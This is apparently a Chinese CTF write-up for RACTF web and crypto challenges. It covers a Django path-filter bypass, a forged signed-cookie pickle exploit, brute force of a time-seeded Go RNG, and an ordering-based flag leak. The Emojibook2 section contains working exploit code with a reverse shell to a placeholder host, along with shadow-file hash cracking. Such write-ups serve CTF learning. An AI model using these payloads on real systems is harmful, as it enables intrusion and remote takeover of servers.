[WP]RACTF-Writeup

本文概述了一篇关于Web应用中Emojibook的RCE漏洞利用,通过绕过文件读取限制和利用签名伪造实现远程代码执行。接着,作者详细解析了两个项目——MilitaryGrade的爆破策略和SecretStore的字符爆破,展示了在不同场景下的信息安全攻防。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web

Emojibook

首先我们能看到文件,在urls.py里面查看路由
在这里插入图片描述
我第一眼锁定了这个os.path.join函数
在这里插入图片描述
如果参数是/flag那么后面经过函数处理就会是flag
因此我们只需要传入{{/flag.txt}}按理说应该就能够得到flag,但是很不幸不可以
在创建的时候这里进行了替换
在这里插入图片描述
这里将..替换为空{{替换为空

在这里插入图片描述
但这里因为先后顺序很明显有一个逻辑漏洞,因此我们只需要构造

{..{/flag.txt}..}

即可绕过读取flag

Emojibook2

当然上面那个不是预期解决麻了,预期是RCE
在这里插入图片描述
得到了

SECRET_KEY = 'wr`BQcZHs4~}EyU(m]`F_SL^BjnkH7"(S3xv,{sp)Xaqg?2pj2=hFCgN"CR"UPn4'

配合这个伪造session可以rce,原因是下面这个配置

在这里插入图片描述exp

from django.core.signing import TimestampSigner, b64_encode
from django.utils.encoding import force_bytes
import pickle
import os
import requests

class PickleRCE(object):
   def __reduce__(self):
        return (os.system,(f"""python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxx",xxxxx));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'""",))

SECRET_KEY = 'wr`BQcZHs4~}EyU(m]`F_SL^BjnkH7"(S3xv,{sp)Xaqg?2pj2=hFCgN"CR"UPn4'
 
def rotten_cookie():
  key = force_bytes(SECRET_KEY)
  salt = 'django.contrib.sessions.backends.signed_cookies'
  base64d = b64_encode(pickle.dumps(PickleRCE())).decode()
  return TimestampSigner(key, salt=salt).sign(base64d)

forge_sessionid = rotten_cookie()
requests.get('http://xxxxx', cookies={'sessionid':forge_sessionid})

成功拿下,但是需要提权,用john
前提是获得/etc/passwd/etc/shadow里面对应的内容

admin:$6$.hRHWi.lsTJH1VoB$3VqqpM.sB07xD/mh9lWAsJJ.HrBwbGLgghai6RdGNbG1RBb09FuFiSVhjM6Gi90wCVx.0LM35OB2EeZYZoZLt/:18856:0:99999:7:::
admin:x:1000:1001::/home/admin:/bin/bash

在这里插入图片描述

在这里插入图片描述

Military Grade

这是一个go语言写的东西,首先看看main函数下写的什么

func main() {
	log.Println("Challenge starting up")
	http.HandleFunc("/", handler)

	go changer()

	log.Fatal(http.ListenAndServe(":80", nil))
}

发现运行了changer函数,发现对flag进行了加密,这里面的问题是这个seed是基于时间的,所以我们可以进行爆破

func changer() {
	ticker := time.NewTicker(time.Millisecond * 672).C
	for range ticker {
		rand.Seed(time.Now().UnixNano() & ^0x7FFFFFFFFEFFF000)
		for i := 0; i < rand.Intn(32); i++ {
			rand.Seed(rand.Int63())
		}

		var key []byte
		var iv []byte

		for i := 0; i < 32; i++ {
			key = append(key, byte(rand.Intn(255)))
		}

		for i := 0; i < aes.BlockSize; i++ {
			iv = append(iv, byte(rand.Intn(255)))
		}

		flagmu.Lock()
		flag = encrypt(rawFlag, key, iv, aes.BlockSize)
		flagmu.Unlock()
	}
}

编写脚本

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/hex"
	"fmt"
	"math/rand"
	"strings"
)

func main() {


	ctext, err := hex.DecodeString(string("4d069b65825fce7299c33239e993cea7525a7799e7cdcd04a42185f29d221146"))
	if err != nil {
		panic(err)
	}

	i := int64(0)
	for i < 16781311 {
		rand.Seed(i)
		for j := 0; j < rand.Intn(32); j++ {
			rand.Seed(rand.Int63())
		}
		var key []byte
		var iv []byte

		for j := 0; j < 32; j++ {
			key = append(key, byte(rand.Intn(255)))
		}

		for j := 0; j < aes.BlockSize; j++ {
			iv = append(iv, byte(rand.Intn(255)))
		}

		block, err := aes.NewCipher(key)
		if err != nil {
			panic(err)
		}
		mode := cipher.NewCBCDecrypter(block, iv)
		out := make([]byte, len(ctext))
		mode.CryptBlocks(out, ctext)

		if strings.HasPrefix(string(out), "ractf") {
			fmt.Println(string(out))
			return
		}

		if i == 4095 {
			i = 16777216
		} else {
			i++
		}
	}
}

可以看到我们得到了flag
在这里插入图片描述

Secret Store

首先打开只有俩功能
在这里插入图片描述
首先我们请求
在这里插入图片描述

比较骚的参数,让我们可以爆破flag
在这里插入图片描述
简简单单的爆破

import requests

flag = "ractf{data_exf1l_via_s0rt1ng_0c66de4"
csrf_token = "VnXhXgOFMVRWz2vehomqV3anJY0Uk4hbTIvkYYtQHvVMKOKuRsz2od5phkZsFJCa"
session_id = "jzbw01pna3qhl208p0btjmyd4t2at600"

headers = {
    "Cookie": f"csrftoken={csrf_token}; sessionid={session_id}",
    "X-CSRFToken": csrf_token
}
our_secret_id = 2
def getFlag(tmp):
    for i in range(50, 127):
        payload = tmp + chr(i)
        json_payload = {
            "value": payload
        }
        r = requests.post("http://xxxx/api/secret/", data=json_payload, headers=headers)
        r = requests.get("http://xxx/api/secret/?ordering=value", headers=headers)
        secrets = r.json()
        print(secrets)
        if secrets[0]['id'] == 1:
            return chr(i - 1)
    return chr(i-1)

while True:
    next_char = getFlag(flag)
    flag += next_char
    print('[+] Flag:', flag)

当然我也发现可以通过二分法的方式去解决这个问题,当我们的字母小于admin时候,我们的id会在前面, 当更大时我们的会在后面,通过这个思想可以构造二分法脚本,主办方最后也是给了这个

import requests

session_id = "srkh1lpetl1qv1p4z3dn7i85t5tpfu5e"
csrf_token = "vbpYESlFUurRo19bB5mmUWZ3hN9Vh7nKk3lOsUEHAVB8efs90t6lsKrDZmeEo0FD"
url = "http://127.0.0.1:8000/api/secret/"
id = -1

s = requests.Session()
s.cookies["sessionid"] = session_id
s.cookies["csrftoken"] = csrf_token
s.headers["X-CSRFToken"] = csrf_token


def set_secret(secret):
    response = s.post(url, json={
        "value": secret
    }).json()
    global id
    id = response['id']


def get_position_difference():
    response = s.get(url + "?ordering=value").json()
    our_position = 0
    admin_position = 0
    i = 0
    global id
    for x in response:
        if x["id"] == 1:
            admin_position = i
        elif x["id"] == id:
            our_position = i
        i += 1
    return admin_position - our_position


def get_character(current):
    min = 32
    max = 127
    while min <= max:
        mid = (max+min)//2
        set_secret(current+chr(mid))
        print(f"trying {chr(mid)}")
        diff = get_position_difference()
        if chr(mid) == "}":
            print("diff", diff)
        if diff > 0:
            min = mid
        else:
            max = mid
        if abs(max - min) <= 1:
            set_secret(current + chr(mid) + " ")
            low = get_position_difference()
            set_secret(current + chr(mid) + "~")
            high = get_position_difference()
            print(f"{low >= high} {min} {mid} {max} {low} {high}")
            #return mid
            if low >= high:
                return min
            elif high > low:
                return max
    return max


secret = ""
char = ""
while char != "}":
    char = chr(get_character(secret))
    secret += char
    print(char)
print(secret)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值